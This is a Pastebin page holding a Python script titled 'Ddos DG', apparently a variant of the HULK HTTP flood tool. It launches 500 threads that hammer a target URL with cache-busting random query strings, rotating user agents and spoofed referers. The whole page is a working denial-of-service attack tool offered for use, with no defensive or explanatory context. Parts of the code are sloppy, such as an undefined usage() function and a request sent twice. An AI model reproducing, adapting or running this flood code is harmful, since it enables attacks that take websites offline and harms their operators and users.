Advertisement
TP2K1

Ddos DG

May 30th, 2015
1,029
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 13.43 KB | None | 0 0
  1. #author: KIT HERO -11022015
  2. import urllib2
  3. import sys
  4. import threading
  5. import random
  6. import re
  7. #global params
  8. url=''
  9. host=''
  10. headers_useragents=[45]
  11. headers_referers=[28]
  12. keyword_top=[12]
  13. request_counter=10000
  14. flag=0
  15. safe=0
  16.  
  17. def inc_counter():
  18. global request_counter
  19. request_counter+=1
  20.  
  21. def set_flag(val):
  22. global flag
  23. flag=val
  24.  
  25. def set_safe():
  26. global safe
  27. safe=1
  28.  
  29. # user agents
  30. def useragent_list():
  31. global headers_useragents
  32. headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  33. headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  34. headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  35. headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  36. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  37. headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  38. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  39. headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  40. headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  41. headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  42. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  43. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  44. headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  45. headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  46. headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  47. headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  48. headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  49. headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  50. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  51. headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  52. headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  53. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  54. headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  55. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  56. headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  57. headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  58. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  59. headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  60. headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  61. headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  62. headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  63. headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  64. headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  65. headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  66. headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  67. headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  68. headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  69. headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  70. headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  71. headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  72. headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  73. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  74. headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  75. headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  76. headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  77. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  78. headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  79. headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  80. #2015
  81. #AOL 9.7
  82. headers_useragents.append('AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)')
  83. headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)')
  84. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
  85. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  86. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
  87. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  88. headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  89. return(headers_useragents)
  90.  
  91. # referers 28
  92. def referer_list():
  93. global headers_referers
  94. headers_referers.append('http://www.google.com/?q=')
  95. headers_referers.append('http://yandex.ru/yandsearch?text=%D1%%D2%?=g.sql()81%..')
  96. headers_referers.append('http://vk.com/profile.php?redirect=')
  97. headers_referers.append('http://www.usatoday.com/search/results?q=')
  98. headers_referers.append('http://engadget.search.aol.com/search?q=query?=query=..')
  99. headers_referers.append('https://www.google.ru/#hl=ru&newwindow=1?&saf..,or.r_gc.r_pw=?.r_cp.r_qf.,cf.osb&fp=fd2cf4e896a87c19&biw=1680&bih=882')
  100. headers_referers.append('https://www.google.ru/#hl=ru&newwindow=1&safe..,or.r_gc.r_pw.r_cp.r_qf.,cf.osb&fp=fd2cf4e896a87c19&biw=1680&bih=925')
  101. headers_referers.append('http://yandex.ru/yandsearch?text=')
  102. headers_referers.append('https://www.google.ru/#hl=ru&newwindow=1&safe..,iny+gay+q=pcsny+=;zdr+query?=poxy+pony&gs_l=hp.3.r?=.0i19.505.10687.0.10963.33.29.4.0.0.0.242.4512.0j26j3.29.0.clfh..0.0.dLyKYyh2BUc&pbx=1&bav=on.2,or.r_gc.r_pw.r_cp.r_qf.,cf.osb&fp?=?fd2cf4e896a87c19&biw=1389&bih=832')
  103. headers_referers.append('http://go.mail.ru/search?mail.ru=1&q=')
  104. headers_referers.append('http://nova.rambler.ru/search?=btnG?=%D0?2?%D0?2?%=D0..')
  105. headers_referers.append('http://ru.wikipedia.org/wiki/%D0%9C%D1%8D%D1%x80_%D0%..')
  106. headers_referers.append('http://ru.search.yahoo.com/search;_yzt=?=A7x9Q.bs67zf..')
  107. headers_referers.append('http://ru.search.yahoo.com/search;?_query?=l%t=?=?A7x..')
  108. headers_referers.append('http://go.mail.ru/search?gay.ru.query=1&q=?abc.r..')
  109. headers_referers.append('/#hl=en-US?&newwindow=1&safe=off&sclient=psy=?-ab&query=%D0%BA%D0%B0%Dq=?0%BA+%D1%83%()_D0%B1%D0%B=8%D1%82%D1%8C+%D1%81bvc?&=query&%D0%BB%D0%BE%D0%BD%D0%B0q+=%D1%80%D1%83%D0%B6%D1%8C%D0%B5+%D0%BA%D0%B0%D0%BA%D0%B0%D1%88%D0%BA%D0%B0+%D0%BC%D0%BE%D0%BA%D0%B0%D1%81%D0%B8%D0%BD%D1%8B+%D1%87%D0%BB%D0%B5%D0%BD&oq=q=%D0%BA%D0%B0%D0%BA+%D1%83%D0%B1%D0%B8%D1%82%D1%8C+%D1%81%D0%BB%D0%BE%D0%BD%D0%B0+%D1%80%D1%83%D0%B6%D1%8C%D0%B5+%D0%BA%D0%B0%D0%BA%D0%B0%D1%88%D0%BA%D0%B0+%D0%BC%D0%BE%D0%BA%D1%DO%D2%D0%B0%D1%81%D0%B8%D0%BD%D1%8B+?%D1%87%D0%BB%D0%B5%D0%BD&gs_l=hp.3...192787.206313.12.206542.48.46.2.0.0.0.190.7355.0j43.45.0.clfh..0.0.ytz2PqzhMAc&pbx=1&bav=on.2,or.r_gc.r_pw.r_cp.r_qf.,cf.osb&fp=fd2cf4e896a87c19&biw=1680&bih=?882')
  110. headers_referers.append('http://nova.rambler.ru/search?btnG=%D0%9D%?D0%B0%D0%B..')
  111. headers_referers.append('http://www.google.ru/url?sa=t&rct=?j&q=&e..')
  112. headers_referers.append('http://help.baidu.com/searchResult?keywords=')
  113. headers_referers.append('http://www.bing.com/search?q=')
  114. headers_referers.append('https://www.yandex.com/yandsearch?text=')
  115. headers_referers.append('https://duckduckgo.com/?q=')
  116. headers_referers.append('http://www.ask.com/web?q=')
  117. headers_referers.append('http://search.aol.com/aol/search?q=')
  118. headers_referers.append('https://www.om.nl/vaste-onderdelen/zoeken/?zoeken_term=')
  119. headers_referers.append('https://www.facebook.com/search/results/?init=quick&q=')
  120. headers_referers.append('http://blekko.com/#ws/?q=')
  121. headers_referers.append('http://www.infomine.com/search/?q=')
  122. headers_referers.append('https://twitter.com/search?q=')
  123. headers_referers.append('http://www.wolframalpha.com/input/?i=')
  124. return(headers_referers)
  125.  
  126. # keyword 12
  127. def keyword_list():
  128. global keyword_top
  129. keyword_top.append('sex')
  130. keyword_top.append('Robin Williams')
  131. keyword_top.append('World Cup')
  132. keyword_top.append('ca si le roi')
  133. keyword_top.append('Ebola?')
  134. keyword_top.append('Malaysia Airlines Flight 370')
  135. keyword_top.append('ALS Ice Bucket Challenge')
  136. keyword_top.append('Flappy Bird')
  137. keyword_top.append('Conchita Wurst')
  138. keyword_top.append('ISIS')
  139. keyword_top.append('Frozen')
  140. keyword_top.append('014 Sochi Winter Olympics')
  141. return(keyword_top)
  142.  
  143. #builds random ascii string
  144. def buildblock(size):
  145. out_str = ''
  146. for i in range(0, size):
  147. a = random.randint(65, 90)
  148. out_str += chr(a)
  149. return(out_str)
  150.  
  151. #http request
  152. def httpcall(url):
  153. useragent_list()
  154. referer_list()
  155. keyword_list()
  156. code=0
  157. if url.count("?")>0:
  158. param_joiner = "&"
  159. else:
  160. param_joiner = "?"
  161. request = urllib2.Request(url + param_joiner + buildblock(random.randint(3,10)) + '=' + buildblock(random.randint(3,10)))
  162. request.add_header('User-Agent', random.choice(headers_useragents))
  163. request.add_header('Cache-Control', 'no-cache')
  164. request.add_header('Accept-Charset', 'ISO-8859-1,utf-8;q=0.7,*;q=0.7')
  165. request.add_header('Referer', random.choice(headers_referers)+random.choice(keyword_top))
  166. request.add_header('Keep-Alive', random.randint(110,120))
  167. request.add_header('Connection', 'keep-alive')
  168. request.add_header('Host',host)
  169. try:
  170. urllib2.urlopen(request)
  171. except urllib2.HTTPError, e:
  172. #print e.code
  173. set_flag(1)
  174. print 'Response Code 500'
  175. code=500
  176. except urllib2.URLError, e:
  177. #print e.reason
  178. sys.exit()
  179. else:
  180. inc_counter()
  181. urllib2.urlopen(request)
  182. return(code)
  183.  
  184. #http caller thread
  185. class HTTPThread(threading.Thread):
  186. def run(self):
  187. try:
  188. while flag<2:
  189. code=httpcall(url)
  190. if (code==500) & (safe==1):
  191. set_flag(2)
  192. except Exception, ex:
  193. pass
  194.  
  195. # monitors http threads and counts requests
  196. class MonitorThread(threading.Thread):
  197. def run(self):
  198. previous=request_counter
  199. while flag==0:
  200. if (previous+100<request_counter) & (previous<>request_counter):
  201. print "%d yeu cau gui di" % (request_counter)
  202. previous=request_counter
  203. if flag==2:
  204. print "\n"
  205.  
  206. #execute
  207. if len(sys.argv) < 2:
  208. usage()
  209. sys.exit()
  210. else:
  211. if sys.argv[1]=="help":
  212. usage()
  213. sys.exit()
  214. else:
  215. print "-- HULK DG Tan cong --"
  216. if len(sys.argv)== 3:
  217. if sys.argv[2]=="safe":
  218. set_safe()
  219. url = sys.argv[1]
  220. if url.count("/")==2:
  221. url = url + "/"
  222. m = re.search('http\://([^/]*)/?.*', url)
  223. host = m.group(1)
  224. for i in range(500):
  225. t = HTTPThread()
  226. t.start()
  227. t = MonitorThread()
  228. t.start()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement